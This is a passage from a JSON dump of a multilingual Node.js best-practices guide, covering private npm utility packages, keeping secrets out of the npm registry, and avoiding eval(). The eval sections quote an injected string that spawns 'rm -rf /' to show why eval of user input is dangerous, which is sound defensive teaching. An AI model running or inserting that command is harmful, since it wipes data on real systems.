text](../../assets/images/Privatenpm.png \"Antolatu proiektua osagaietan\")\r\n"
  },
  {
    "path": "sections/projectstructre/wraputilities.brazilian-portuguese.md",
    "content": "# Envolva os utilitários comuns como pacotes npm\r\n\r\n<br/><br/>\r\n\r\n### Explicação em um Parágrafo\r\n\r\nQuando você começa a crescer e tem componentes diferentes em servidores diferentes que consomem utilitários semelhantes, você deve começar a gerenciar as dependências - como você pode manter uma cópia do código do utilitário e permitir que vários componentes do consumidor a usem e implantem? Bem, existe uma ferramenta para isso, ele é chamado npm ... Comece por encapsular pacotes de utilitários de terceiros com seu próprio código para torná-los facilmente substituíveis no futuro e publicar seu próprio código como pacote npm privado. Agora, toda a sua base de código pode importar esse código e se beneficiar da ferramenta gratuita de gerenciamento de dependências. É possível publicar pacotes npm para seu uso privado sem compartilhá-lo publicamente usando [módulos privados](https://docs.npmjs.com/private-modules/intro), [registros privados](https://npme.npmjs.com/docs/tutorials/npm-enterprise-with-nexus.html) ou [pacotes npm locais](https://medium.com/@arnaudrinquin/build-modular-application-with-npm-local-modules-dfc5ff047bcc)\r\n\r\n<br/><br/>\r\n\r\n### Compartilhando seus próprios utilitários comuns em ambientes e componentes\r\n\r\n![alt text](../../assets/images/Privatenpm.png \"Solução de estruturação por componentes\")\r\n"
  },
  {
    "path": "sections/projectstructre/wraputilities.chinese.md",
    "content": "# 将公用实用工具封装成 npm 包\r\n\r\n<br/><br/>\r\n\r\n\r\n### 一段解释\r\n一旦你开始在不同的服务器上增加不同的组件并使用不同的服务器，这些服务器会消耗类似的工具，那么你应该开始管理依赖关系 - 你如何保留实用工具代码的一个副本，并让多个使用组件者使用和部署？ 好吧，有一个这样的框架，它被称为npm ...首先用自己的代码包装第三方实用工具包，以便将来可以轻松替换，并发布自己的代码作为私人npm包。 现在，您所有的代码库都可以导入该代码并受益于免费的依赖管理框架。 您可以发布npm包供您自己的私人使用，而无需公开分享 [私人模块](https://docs.npmjs.com/private-modules/intro), [私人注册表](https://npme.npmjs.com/docs/tutorials/npm-enterprise-with-nexus.html) or [本地 npm 包](https://medium.com/@arnaudrinquin/build-modular-application-with-npm-local-modules-dfc5ff047bcc)\r\n\r\n\r\n<br/><br/>\r\n\r\n\r\n ### 在环境和组件中共享你自己的公用实用工具\r\n![alt text](../../assets/images/Privatenpm.png \"构建解决方案的组件\")\r\n"
  },
  {
    "path": "sections/projectstructre/wraputilities.french.md",
    "content": "# Externalisez les utilitaires communs en paquets NPM\n\n<br/><br/>\n\n### Un paragraphe d'explication\n\nUne fois que vous commencez à vous développer et que vous avez différents composants sur différents serveurs qui consomment des utilitaires similaires, vous devez commencer à gérer les dépendances - comment pouvez-vous conserver une copie de votre code utilitaire et laisser plusieurs composants consommateurs l'utiliser et le déployer ? Eh bien, il y a un outil pour ça, ça s'appelle npm ... Commencez par emballer des paquets d'utilitaires tiers avec votre propre code pour le rendre facilement remplaçable à l'avenir et publiez votre propre code en tant que package npm privé. Désormais, toute votre base de code peut importer ce code et bénéficier d'un outil de gestion des dépendances gratuit. Il est possible de publier des packages npm pour votre propre usage privé sans le partager publiquement à l'aide de [modules privés](https://docs.npmjs.com/private-modules/intro), [registre privé](https://npme.npmjs.com/docs/tutorials/npm-enterprise-with-nexus.html) ou de [paquets npm locaux](https://medium.com/@arnaudrinquin/build-modular-application-with-npm-local-modules-dfc5ff047bcc).\n\n<br/><br/>\n\n### Partage de vos propres utilitaires communs entre les environnements et les composants\n\n![alt text](../../assets/images/Privatenpm.png \"Solution d'organisation par composants\")\n"
  },
  {
    "path": "sections/projectstructre/wraputilities.japanese.md",
    "content": "# 一般的なユーティリティを npm パッケージとしてラップする\r\n\r\n<br/><br/>\r\n\r\n### 一段落説明\r\n\r\n成長を始めて、似たようなユーティリティを使用する異なるサーバ上の異なるコンポーネントを持つようになったら、依存関係の管理を始めなければなりません。- ユーティリティコードのコピーを1つにして、複数のコンシューマコンポーネントに使用させてデプロイするにはどうすれば良いでしょう? そのためのツールとして、npm と呼ばれるものがあります。サードパーティのユーティリティパッケージを独自のコードでラップして、将来的に簡単に置き換えられるようにし、独自のコードをプライベートな npm パッケージとして公開することから始めましょう。そうすることで、あなたのすべてのコードベースは、コードをインポートすることができ、無料の依存関係管理ツールの恩恵を受けることができます。[private modules](https://docs.npmjs.com/private-modules/intro) や [private registry](https://npme.npmjs.com/docs/tutorials/npm-enterprise-with-nexus.html)、[local npm packages](https://medium.com/@arnaudrinquin/build-modular-application-with-npm-local-modules-dfc5ff047bcc) を使うことで、自分だけのプライベートな利用だけのために npm パッケージを公開することができます。\r\n\r\n<br/><br/>\r\n\r\n### 環境やコンポーネント横断で独自の共通ユーティリティを共有する\r\n\r\n![alt text](../../assets/images/Privatenpm.png \"コンポーネントでソリューションを構築する\")\r\n"
  },
  {
    "path": "sections/projectstructre/wraputilities.korean.md",
    "content": "# 공유 유틸리티들은 NPM 패키지로 감싸라 (wrap)\n\n<br/><br/>\n\n### 한문단 설명\n\n자라나기 시작하면서 비슷한 유틸리티들을 소비하는 다른 서버의 다른 컴포넌트들이 생겨나면 의존성을 관리하기 시작해야 한다 - 유틸리티 코드 한 부를 어떻게 소비자 컴포넌트 여럿이서 같이 쓰고 배치할 수 있게 하는가? 자, 여기 쓸만한 도구가 여기 있다...npm이라 불리는. 먼저 제삼자 유틸리티 패키지를 자신만의 코드로 감싸  미래에 대체하기 쉽게 하고 그 코드를 private npm 패키지로 publish해라. 이제 당신의 모든 코드 기반은 그 코드를 수입하여 무료 의존성 관리 도구의 혜택을 볼 수 있다. [private 모듈](https://docs.npmjs.com/private-modules/intro)이나 [private 레지스트리](https://npme.npmjs.com/docs/tutorials/npm-enterprise-with-nexus.html), 혹은 [로컬 npm 패키지](https://medium.com/@arnaudrinquin/build-modular-application-with-npm-local-modules-dfc5ff047bcc)를 사용하면 npm 패키지를 공개적으로 공유하지 않고도 자용으로 쓸 수 있게 출판할 수 있다.\n\n<br/><br/>\n\n### 당신만의 공유 유틸리티들을 환경과 컴포넌츠에 공유하기\n\n![alt text](../../assets/images/Privatenpm.png \"Structuring solution by components\")\n"
  },
  {
    "path": "sections/projectstructre/wraputilities.md",
    "content": "# Wrap common utilities as npm packages\r\n\r\n<br/><br/>\r\n\r\n### One Paragraph Explainer\r\n\r\nOnce you start growing and have different components on different servers which consumes similar utilities, you should start managing the dependencies - how can you keep 1 copy of your utility code and let multiple consumer components use and deploy it? well, there is a tool for that, it's called npm... Start by wrapping 3rd party utility packages with your own code to make it easily replaceable in the future and publish your own code as private npm package. Now, all your code base can import that code and benefit free dependency management tool. It's possible to publish npm packages for your own private use without sharing it publicly using [private modules](https://docs.npmjs.com/private-modules/intro), [private registry](https://npme.npmjs.com/docs/tutorials/npm-enterprise-with-nexus.html) or [local npm packages](https://medium.com/@arnaudrinquin/build-modular-application-with-npm-local-modules-dfc5ff047bcc)\r\n\r\n<br/><br/>\r\n\r\n### Sharing your own common utilities across environments and components\r\n\r\n![alt text](../../assets/images/Privatenpm.png \"Structuring solution by components\")\r\n"
  },
  {
    "path": "sections/projectstructre/wraputilities.polish.md",
    "content": "# Zawiń typowe narzędzia jako pakiety npm\n\n<br/><br/>\n\n### Wyjaśnienie jednym akapitem\n\nKiedy zaczniesz się rozwijać i będziesz mieć różne komponenty na różnych serwerach, które zużywają podobne narzędzia, powinieneś zacząć zarządzać zależnościami - w jaki sposób możesz zachować 1 kopię kodu narzędzia i pozwolić, aby wiele komponentów konsumenckich używało go i wdrażało? Cóż, istnieje narzędzie do tego, nazywa się npm... Zacznij od zawinięcia pakietów narzędziowych stron trzecich własnym kodem, aby w przyszłości można go łatwo było wymienić i opublikować własny kod jako prywatny pakiet npm. Teraz cała baza kodu może zaimportować ten kod i bezpłatne narzędzie do zarządzania zależnościami. Możliwe jest publikowanie pakietów NPM na własny użytek bez publicznego udostępniania go za pomocą [prywatnych modułów](https://docs.npmjs.com/private-modules/intro), [prywatnego rejestru](https://npme.npmjs.com/docs/tutorials/npm-enterprise-with-nexus.html) lub [lokalnych pakietów npm](https://medium.com/@arnaudrinquin/build-modular-application-with-npm-local-modules-dfc5ff047bcc)\n\n<br/><br/>\n\n### Udostępnianie własnych wspólnych narzędzi w różnych środowiskach i komponentach\n\n![alt text](../../assets/images/Privatenpm.png \"Structuring solution by components\")\n"
  },
  {
    "path": "sections/projectstructre/wraputilities.russian.md",
    "content": "# Оборачивайте общие утилиты в пакеты npm\r\n\r\n<br/><br/>\r\n\r\n### Объяснение в один абзац\r\n\r\nКак только вы начнете расти и иметь разные компоненты на разных серверах, которые используют одинаковые утилиты, вы должны начать управлять зависимостями - как вы можете сохранить 1 копию своего кода утилиты и позволить нескольким потребительским компонентам использовать и развертывать ее? ну, есть инструмент для этого, он называется npm ... Начните с упаковки сторонних пакетов утилит с вашим собственным кодом, чтобы в будущем его можно было легко заменить, и опубликуйте свой собственный код как частный пакет npm. Теперь вся ваша кодовая база может импортировать этот код и использовать бесплатный инструмент управления зависимостями. Можно публиковать пакеты npm для личного использования, не публикуя их публично, используя [private modules](https://docs.npmjs.com/private-modules/intro), [private registry](https://npme.npmjs.com/docs/tutorials/npm-enterprise-with-nexus.html) или [local npm packages](https://medium.com/@arnaudrinquin/build-modular-application-with-npm-local-modules-dfc5ff047bcc)\r\n\r\n<br/><br/>\r\n\r\n### Совместное использование собственных общих утилит в средах и компонентах\r\n\r\n![alt text](../../assets/images/Privatenpm.png \"Structuring solution by components\")\r\n"
  },
  {
    "path": "sections/security/avoid_publishing_secrets.basque.md",
    "content": "# Saihestu npm erregistroan sekretuak argitaratzea\n\n### Azalpena\n\nArreta eduki behar da npm erregistroetan sekretuak istripuz argitaratzeko arriskua dago eta. `.npmignore` fitxategia erabil daiteke fitxategi eta karpeta zehatz batzuk zerrenda beltzean jartzeko, edota `files` zerrendak `package.json`en zerrenda txuri gisa joka dezake.\n\nnpmek erregistroan benetan argitaratzen duenaren ikuspegia edukitzeko, `--dry-run` gehi daiteke npm publish komandora sortutako paketearen ikuspegi esanguratsua edukitzeko.\n\nGarrantzitsua da kontutan edukitzea, proiektu batek `.npmignore` eta `.gitignore` fitxategiak erabiltzen baditu, `.npmignore`ren barruan dagoena erregistroan argitaratuko dela (esaterako, `.npmignore` fitxategiak `.gitignore` berridazten du). Baldintza hori nahasgarria izan daiteke eta sekretuak argitaratzeko arriskua ekar dezake. Programatzaileek `.gitignore` fitxategia egunera dezakete, baina `.npmignore` eguneratzea ahaztu, eta horrek fitxategi garrantzitsuak iturburu kontrolean ez argitaratzea ekar dezake, npm paketean egon arren\n\n### Kode adibidea\n\n.npmignore fitxategiaren adibidea\n\n```\n# Probak\ntest\ncoverage\n\n# Eraikitze tresnak\n.travis.yml\n.jenkins.yml\n\n# Ingurunea\n.env\n.config\n\n```\n\n\"files\" zerrenda package.jsonen erabiltzearen adibidea\n\n```json\n{\n  \"files\" : [\n    \"dist/moment.js\",\n    \"dist/moment.min.js\"\n  ]\n}\n```\n\n### Beste blogari batzuek diotena\n\n[Liran Tal & Juan Picado at Snyk](https://snyk.io/blog/ten-npm-security-best-practices/) bloga:\n\n> ... Erabil beharreko beste jarduera egoki bat package.json fitxategiko files ezaugarria da, zerrenda zuri bezala funtzionatzen duena eta sortu eta instalatu beharreko paketean fitxategien multzoa zehazten duena (aintzakotzat ez hartzeko (ignore) fitxategiak zerrenda beltz gisa funtzionatzen duelarik). Filesen ezaugarria eta aintzakotzat ez hartzeko fitxategiak batera erabil daitezke esplizituki zein fitxategi gehitu edo baztertu behar diren zehazteko. Biak erabiltzean, package.jsoneko aurreko filesen ezagugarriak lehentasuna hartzen du aintzakotzat ez hartzeko fitxategiaren parean.\n\n[npm blog](https://blog.npmjs.org/post/165769683050/publishing-what-you-mean-to-publish)a:\n\n> ... npm publish exekutatzean, npmek lekuko direktorioko fitxategi guztiak bateratzen ditu. Zer gehitu eta alde batera zer utzi erabakitzen du zure ordez. Erabaki horiek hartzeko zure proiektuko direktorioko hainbat fitxategiren edukiak erabiltzen ditu. Fitxategi horien artean, .gitignore, .npmingnore eta package.jsoneko files zerrenda aurkitzen dira. Gainera, beti gehitzen ditu fitxategi jakin batzuk, eta beste batzuk alde batera utzi.\n"
  },
  {
    "path": "sections/security/avoid_publishing_secrets.brazilian-portuguese.md",
    "content": "# Evite publicar segredos no registro do npm\n\n### Explicação em um Parágrafo\nPrecauções devem ser tomadas para evitar o risco de publicação acidental de segredos nos registros públicos do npm. Um arquivo `.npmignore` pode ser usado para colocar arquivos ou pastas específicos em uma blacklist, ou a lista `files` no `package.json` pode atuar como uma whitelist.\n\nPara obter uma visão do que o npm publish realmente publicará no registro, o sinalizador `--dry-run` pode ser adicionado ao comando npm publish para fornecer uma visão detalhada do pacote tarbell criado.\n\nÉ importante notar que se um projeto estiver utilizando os arquivos `.npmignore` e` .gitignore`, tudo o que não estiver em `.npmignore` será publicado no registro (isto é, o arquivo` .npmignore` substitui o `. gitignore`). Esta condição é uma fonte comum de confusão e é um problema que pode levar ao vazamento de segredos. Os desenvolvedores podem acabar atualizando o arquivo `.gitignore`, mas esquecem de atualizar` .npmignore` também, o que pode levar a que um arquivo potencialmente sensível não seja empurrado para o controle de origem, mas ainda seja incluído no pacote npm.\n\n### Exemplo de Código\nExemplo de arquivo .npmignore\n```\n# Tests\ntest\ncoverage\n\n# Build tools\n.travis.yml\n.jenkins.yml\n\n# Environment\n.env\n.config\n\n```\n\nExemplo uso de uma lista de arquivos no package.json\n\n```json\n{ \n  \"files\" : [\n    \"dist/moment.js\",\n    \"dist/moment.min.js\"\n  ]\n}\n```\n\n### O que Outros Blogueiros Dizem\n\nDo blog de [Liran Tal & Juan Picado em Snyk](https://snyk.io/blog/ten-npm-security-best-practices/):\n> ... Outra boa prática a adotar é utilizar a propriedade files em package.json, que funciona como whitelist e especifica a matriz de arquivos a serem incluídos no pacote a ser criado e instalado (enquanto o arquivo ignore funciona como uma lista negra). A propriedade files e um arquivo ignore podem ser usados ​​juntos para determinar quais arquivos devem ser incluídos explicitamente, assim como excluídos, do pacote. Ao usar ambos, o primeiro a propriedade files em package.json tem precedência sobre o arquivo ignore.\n\nDo [blog do npm](https://blog.npmjs.org/post/165769683050/publishing-what-you-mean-to-publish)\n> ... Quando você executa npm publish, o npm agrupa todos os arquivos no diretório atual. Ele toma algumas decisões sobre o que incluir e o que ignorar. Para tomar essas decisões, ele usa o conteúdo de vários arquivos no diretório do projeto. Esses arquivos incluem .gitignore, .npmignore e a matriz de arquivos no pacote.json. Também inclui sempre certos arquivos e ignora outros."
  },
  {
    "path": "sections/security/avoid_publishing_secrets.french.md",
    "content": "# Éviter de publier les secrets dans le registre npm\n\n### Un paragraphe d'explication\nDes précautions doivent être prises pour éviter de publier accidentellement des secrets dans un registre public npm. Un fichier `.npmignore` peut être utilisé pour ignorer des fichiers ou dossiers spécifiques, ou le tableau `files` du `package.json` peut être utilisé comme une liste blanche.\n\nPour savoir ce que npm publish va vraiment publier sur le registre, l'option `--dry-run` peut être ajoutée à la commande npm publish pour obtenir un résultat verbeux du package crée. \n\nIl est important de noter que si un projet utilise à la fois des fichiers `.npmignore` et `.gitignore`, tout ce qui n'est pas dans `.npmignore` est publié dans le registre (c'est-à-dire que le fichier `.npmignore` écrase `.gitignore`). Cette condition est communément une source de confusion et un problème qui peut mener à la fuite de secrets. Les développeurs ont l'habitude de mettre à jour le fichier `.gitignore`, mais peuvent oublier de faire de même avec `.npmignore`, ce qui peut conduire à ce qu'un potentiel fichier sensible ne soit pas envoyé sur l'outil de gestion des versions, mais soit toujours inclus dans le package npm.\n\n### Exemple de code\nFichier d'exemple .npmignore\n```\n# Tests\ntest\ncoverage\n\n# Build tools\n.travis.yml\n.jenkins.yml\n\n# Environment\n.env\n.config\n\n```\n\nExemple d'usage du tableau files de package.json\n\n```json\n{ \n  \"files\" : [\n    \"dist/moment.js\",\n    \"dist/moment.min.js\"\n  ]\n}\n```\n\n### Ce que disent les autres blogueurs\n\nExtrait du blog de [Liran Tal & Juan Picado sur Snyk](https://snyk.io/blog/ten-npm-security-best-practices/):\n> ... Une autre bonne pratique à adopter est d'utiliser la propriété files du package.json, qui fonctionne comme une liste blanche et spécifie un tableau de fichiers à inclure dans le package qui sera créé et installé (tandis que le fichier .npmignore fonctionne comme une liste noire). La propriété files et le fichier .npmignore peuvent être utilisés ensemble pour déterminer explicitement quels fichiers doivent être inclus, et exclus, du package. Quand les deux sont utilisés, la propriété files du package.json a la priorité sur le fichier .npmignore.\n\nExtrait du blog de [blog de npm](https://blog.npmjs.org/post/165769683050/publishing-what-you-mean-to-publish)\n> ... Quand vous exécutez npm publish, npm met dans le package l'ensemble des fichiers du répertoire courant. Il prend quelques décisions pour vous à propos de ce qu'il faut inclure et de ce qu'il faut ignorer. Pour prendre ces décisions, il utilise le contenu de plusieurs fichiers dans le répertoire de votre projet. Ces fichiers incluent .gitignore, .npmignore, et le tableau files dans package.json. De plus, il inclut toujours certains fichiers et en ignore d'autres."
  },
  {
    "path": "sections/security/avoid_publishing_secrets.japanese.md",
    "content": "# npm レジストリへのシークレットの公開を避ける\n\n### 一段落説明\n誤ってシークレットをパブリック npm レジストリに公開してしまうリスクを回避するように、注意を払ってください。`.npmignore` ファイルを利用して、特定のファイルやフォルダをブラックリスト化したり、`package.json` 内の `files` 配列をホワイトリストとして利用することができます。\n\nnpm publish が実際にレジストリに何をパブリッシュするのかを確認するために、`--dry-run` フラグを npm publish コマンドに追加して、作成されたパッケージの詳細情報を表示させることができます。\n\nプロジェクトが `.npmignore` と `.gitignore` ファイルの両方を利用している場合には、`.npmignore` 内に記載されていないものはすべてレジストリにパブリッシュされる（つまり、`.npmigore` ファイルは `.gitignore` ファイルを上書きする）ことに注意することが重要です。この制約は、よくある混乱の元凶であり、シークレットを漏洩することに繋がりうる問題です。開発者は最終的に `.gitignore` ファイルを更新するかもしれませんが、`.npmignore` を更新することを忘れ、潜在的に機密なファイルが、ソースコントロールにはプッシュされていないが、npm パッケージには依然含まれている、という状況になりえます。\n\n### コード例\n.npmignore file の例\n```\n# Tests\ntest\ncoverage\n\n# Build tools\n.travis.yml\n.jenkins.yml\n\n# Environment\n.env\n.config\n\n```\n\npackage.json 内の files 配列の利用例\n\n```json\n{ \n  \"files\" : [\n    \"dist/moment.js\",\n    \"dist/moment.min.js\"\n  ]\n}\n```\n\n### 他のブロガーが言っていること\n\n[Liran Tal & Juan Picado at Snyk](https://snyk.io/blog/ten-npm-security-best-practices/) のブログより:\n> ... その他のグッドプラクティスは、package.json の files プロパティを利用することです。これは（ignore files はブラックリストとして機能する一方で）ホワイトリストとして機能し、作成されてインストールされるパッケージに含むファイルの配列を指定します。パッケージに含まれるべきファイルとそうでないファイルを決定するために、files プロパティと ignore files の両方を同時に利用することができます。両方を利用する際は、package.json の files プロパティが ignore ファイルよりも優先されます。\n\n[npm blog](https://blog.npmjs.org/post/165769683050/publishing-what-you-mean-to-publish) より:\n> ... npm publish を実行すると、npm はカレントディレクトリのファイルすべてをバンドル化します。どのファイルを含み、どのファイルを無視するかについて、いくつかの決定が必要です。この決定をするには、プロジェクトディレクトリ内のいくつかのファイルを利用します。その該当ファイルには、.gitignore や .npmignore、そして package.json 内の files 配列が含まれます。また、それは常に特定のファイルを含め、他のものを無視します。\n"
  },
  {
    "path": "sections/security/avoid_publishing_secrets.md",
    "content": "# Avoid publishing secrets to the npm registry\n\n### One Paragraph Explainer\nPrecautions should be taken to avoid the risk of accidentally publishing secrets to public npm registries. An `.npmignore` file can be used to blacklist specific files or folders, or the `files` array in `package.json` can act as a whitelist.\n\nTo gain a view of what npm publish will really publish to the registry, the `--dry-run` flag can be added the npm publish command to provide a verbose view of the tarbell package created.\n\nIt is important to note that if a project is utilising both `.npmignore` and `.gitignore` files, everything which isn't in `.npmignore` is published to the registry(i.e. the `.npmignore` file overrides the `.gitignore`). This condition is a common source of confusion and is a problem that can lead to leaking secrets. Developers may end up updating the `.gitignore` file, but forget to update `.npmignore` as well, which can lead to a potentially sensitive file not being pushed to source control, but still being included in the npm package.\n\n### Code example\nExample .npmignore file\n```\n# Tests\ntest\ncoverage\n\n# Build tools\n.travis.yml\n.jenkins.yml\n\n# Environment\n.env\n.config\n\n```\n\nExample use of files array in package.json\n\n```json\n{ \n  \"files\" : [\n    \"dist/moment.js\",\n    \"dist/moment.min.js\"\n  ]\n}\n```\n\n### What other bloggers say\n\nFrom the blog by [Liran Tal & Juan Picado at Snyk](https://snyk.io/blog/ten-npm-security-best-practices/):\n> ... Another good practice to adopt is making use of the files property in package.json, which works as a whitelist and specifies the array of files to be included in the package that is to be created and installed (while the ignore file functions as a blacklist). The files property and an ignore file can both be used together to determine which files should explicitly be included, as well as excluded, from the package. When using both, the former the files property in package.json takes precedence over the ignore file.\n\nFrom the [npm blog](https://blog.npmjs.org/post/165769683050/publishing-what-you-mean-to-publish)\n> ... When you run npm publish, npm bundles up all the files in the current directory. It makes a few decisions for you about what to include and what to ignore. To make these decisions, it uses the contents of several files in your project directory. These files include .gitignore, .npmignore, and the files array in the package.json. It also always includes certain files and ignores others."
  },
  {
    "path": "sections/security/avoid_publishing_secrets.polish.md",
    "content": "# Unikaj publikowania danych wrażliwych w rejestrze npm\n\n### Wyjaśnienie jednym akapitem\nNależy podjąć środki ostrożności, aby uniknąć ryzyka przypadkowego opublikowania danych wrażliwych w publicznych rejestrach npm. Plik `.npmignore` może być użyty do umieszczenia na czarnej liście określonych plików lub folderów, lub tablica `files` w `package.json` może działać jako biała lista.\n\nAby uzyskać widok tego, co publikacja npm naprawdę opublikuje w rejestrze, można dodać flagę `--dry-run` do polecenia npm opublikuj, aby zapewnić pełny widok utworzonego pakietu tarbell.\n\nWażne jest, aby pamiętać, że jeśli projekt wykorzystuje zarówno pliki `.npmignore`, jak i `.gitignore`, wszystko, czego nie ma w pliku .npmignore, jest publikowane w rejestrze (tzn. plik `.npmignore` zastępuje `.gitignore`). Ten stan jest powszechnym źródłem zamieszania i stanowi problem, który może prowadzić do ujawnienia danych wrażliwych. Deweloperzy mogą w końcu zaktualizować plik `.gitignore`, ale zapomnieć zaktualizować również` .npmignore`, co może doprowadzić do tego, że potencjalnie wrażliwy plik nie zostanie przekazany do kontroli źródła, ale nadal będzie zawarty w pakiecie npm.\n\n### Przykład kodu\nExample .npmignore file\n```\n# Tests\ntest\ncoverage\n\n# Build tools\n.travis.yml\n.jenkins.yml\n\n# Environment\n.env\n.config\n\n```\n\nPrzykład zastosowania tablicy plików w package.json\n\n```json\n{ \n  \"files\" : [\n    \"dist/moment.js\",\n    \"dist/moment.min.js\"\n  ]\n}\n```\n\n### Co mówią inni blogerzy\n\nZ bloga od [Liran Tal & Juan Picado at Snyk](https://snyk.io/blog/ten-npm-security-best-practices/):\n> ... Another good practice to adopt is making use of the files property in package.json, which works as a whitelist and specifies the array of files to be included in the package that is to be created and installed (while the ignore file functions as a blacklist). The files property and an ignore file can both be used together to determine which files should explicitly be included, as well as excluded, from the package. When using both, the former the files property in package.json takes precedence over the ignore file.\n\nZ [bloga npm](https://blog.npmjs.org/post/165769683050/publishing-what-you-mean-to-publish)\n> ... When you run npm publish, npm bundles up all the files in the current directory. It makes a few decisions for you about what to include and what to ignore. To make these decisions, it uses the contents of several files in your project directory. These files include .gitignore, .npmignore, and the files array in the package.json. It also always includes certain files and ignores others.\n"
  },
  {
    "path": "sections/security/avoid_publishing_secrets.russian.md",
    "content": "# Избегайте публикации секретов в реестре npm\n\n### Объяснение в один абзац\nСледует принять меры предосторожности, чтобы избежать риска случайной публикации секретов в публичных реестрах npm. Файл `.npmignore` может использоваться для внесения в черный список определенных файлов или папок, или массив `files` в `package.json` может выступать в качестве белого списка.\n\nЧтобы получить представление о том, что npm publish действительно будет публиковать в реестре, можно добавить флаг `--dry-run`, добавив команду npm publish, чтобы обеспечить подробное представление созданного пакета tarbell.\n\nВажно отметить, что если в проекте используются файлы `.npmignore` и `.gitignore`, все, чего нет в `.npmignore`, публикуется в реестре (то есть файл `.npmignore` переопределяет `. gitignore`). Это условие является распространенным источником путаницы и является проблемой, которая может привести к утечке секретов. Разработчики могут в конечном итоге обновить файл `.gitignore`, но не забудьте также обновить `.npmignore`, иначе это может привести к тому, что потенциально конфиденциальный файл не будет передан в систему контроля версий, но все же будет включен в пакет npm.\n\n### Пример кода\nExample .npmignore file\n```\n# Tests\ntest\ncoverage\n\n# Build tools\n.travis.yml\n.jenkins.yml\n\n# Environment\n.env\n.config\n\n```\n\nПример использования массива файлов в package.json\n\n```json\n{ \n  \"files\" : [\n    \"dist/moment.js\",\n    \"dist/moment.min.js\"\n  ]\n}\n```\n\n### Что говорят другие блогеры\n\nИз блога [Liran Tal & Juan Picado at Snyk](https://snyk.io/blog/ten-npm-security-best-practices/):\n> ... Еще одна полезная практика - использование свойства files в package.json, который работает в качестве белого списка и определяет массив файлов, которые должны быть включены в пакет, который должен быть создан и установлен (в то время как файл игнорирования функционирует как черный список). Свойство files и файл ignore можно использовать вместе, чтобы определить, какие файлы должны быть явно включены, а также исключены из пакета. При использовании обоих, первое свойство files в package.json имеет приоритет над файлом игнорирования.\n\nИз [npm блога](https://blog.npmjs.org/post/165769683050/publishing-what-you-mean-to-publish)\n> ... Когда вы запускаете npm publish, npm объединяет все файлы в текущем каталоге. Он принимает несколько решений о том, что включать и что игнорировать. Чтобы принять эти решения, он использует содержимое нескольких файлов в каталоге вашего проекта. Эти файлы включают в себя .gitignore, .npmignore и массив файлов в пакете.json. Он также всегда включает определенные файлы и игнорирует другие."
  },
  {
    "path": "sections/security/avoideval.basque.md",
    "content": "# Saihestu JavaScript eval adierazpenak\r\n\r\n### Azalpena\r\n\r\n`eval()`, `setTimeout()`, `setInterval()`, eta `new Function()` funtzio globalak dira, Node.jsen maiz erabiltzen direnak, eta JavaScript expresio bat, adierazpen bat edo adierazpen segida bat jasotzen dituen kate parametroak onartzen dituztenak. Funtzio horiek erabiltzeak segurtasun arazoak sortzen ditu. Izan ere, fidagarria ez den erabiltzaileren bat sartzen bada zerbitzarian kodea exekutatu eta zerbitzaria arriskuan jarri ahal izango du, erabiltzaile kodearen ebaluazioa gainditzeak ahalmena ematen baitie erasotzaileei nahi dituzten ekintzak burutzeko. Gomendagarria da kodea garbitzea, funtzio horiek bukaerako funtzioari pasatu eta exekutatuak izatea ekiditeko.\r\n\r\n### Kode adibidea\r\n\r\n```javascript\r\n// erasotzailea sartzeko gai izan den kode maltzurraren adibidea\r\nconst erabiltzaileSarrera =\r\n  \"require('child_process').spawn('rm', ['-rf', '/'])\";\r\n\r\n// exekutatutako kode maltzurra\r\neval(erabiltzaileSarrera);\r\n```\r\n\r\n### Beste bloglari batzuk diotena\r\n\r\n[Liran Tal](https://leanpub.com/nodejssecurity)-en Essential Node.js Security liburua:\r\n\r\n> Berharbada, segurtasunaren ikuspuntutik, eval() funtzioa gaizkien ikusita dagoen JavaScripten ataletako bat da. JavaScript kateak testu moduan aztertzen ditu eta JavaScript kodea balitz bezala exekutatzen ditu.\r\n> Horrekin batera, fidagarria ez den erabiltzaileren bat sartzen bada kodearen egiaztapena gaindituz, hondamendirako bide arriskutsua da, zerbitzariaren funtzionamendua larriki kaltetu dezakeena.\r\n"
  },
  {
    "path": "sections/security/avoideval.brazilian-portuguese.md",
    "content": "# Evite instruções eval do JavaScript\r\n\r\n### Explicação em um Parágrafo\r\n\r\n`eval()`, `setTimeout()`, `setInterval()`, e `new Function()` são funções globais, geralmente usadas no Node.js, que aceitam um parâmetro de string que representa uma expressão, instrução ou sequência de instruções JavaScript. A preocupação de segurança de usar essas funções é a possibilidade de que uma entrada de usuário não confiável possa entrar na execução do código, levando ao comprometimento do servidor, já que avaliar o código do usuário essencialmente permite que um invasor execute qualquer ação possível. Sugere-se refatorar código para não depender do uso dessas funções em que a entrada do usuário pode ser passada para a função e executada.\r\n\r\n### Exemplo de Código\r\n\r\n```javascript\r\n// exemplo de código malicioso que um invasor conseguiu inserir\r\nuserInput = \"require('child_process').spawn('rm', ['-rf', '/'])\";\r\n\r\n// código malicioso executado\r\neval(userInput);\r\n```\r\n\r\n### O que Outros Blogueiros Dizem\r\n\r\nDo livro Essential Node.js Security por [Liran Tal](https://leanpub.com/nodejssecurity):\r\n> A função eval() é talvez a mais desaprovada dentro do JavaScript em uma perspectiva de segurança. Ela analisa uma string JavaScript como texto e a executa como se fosse um código JavaScript.\r\nMisturar isso com entradas não confiáveis ​​do usuário que podem encontrar o caminho para eval() é uma receita para o desastre que\r\npode acabar comprometendo o servidor.\r\n"
  },
  {
    "path": "sections/security/avoideval.chinese.md",
    "content": "# 避免JS eval语法\n\n### 一段解释\n\n`eval()`，`setTimeout()`和`setInterval()`是全局方法，经常在Node.js中被使用，它接收一个字符串参数，代表一个JavaScript表达式，语句，或者语句序列。使用这些函数的安全问题是, 不受信任的用户输入可能会发现进入代码执行的方式，从而导致危害服务器，因为评估用户代码实质上允许攻击者执行任何他可以的操作。对于这些用户输入可以传递给函数并执行的方法，建议重构代码，而不依赖于它们的使用。\n\n### 代码示例\n\n```javascript\n// 攻击者可能输入的恶意代码示例\nconst userInput = \"require('child_process').spawn('rm', ['-rf', '/'])\";\n\n// 恶意代码被执行\neval(userInput);\n```\n\n### 其他博客作者的说法\n\n摘自[Liran Tal](https://leanpub.com/nodejssecurity)的书籍Essential Node.js Security:\n> 从安全的角度出发，在JavaScript语法中，eval()可能是最让人不悦的函数。\n它将javascript字符串解析为文本，并将其作为javascript代码执行。\n和不受信任的用户输入掺和在一起，可能会发现使用eval()是一个导致灾难的方式，最终服务器遭受破坏。\n"
  },
  {
    "path": "sections/security/avoideval.french.md",
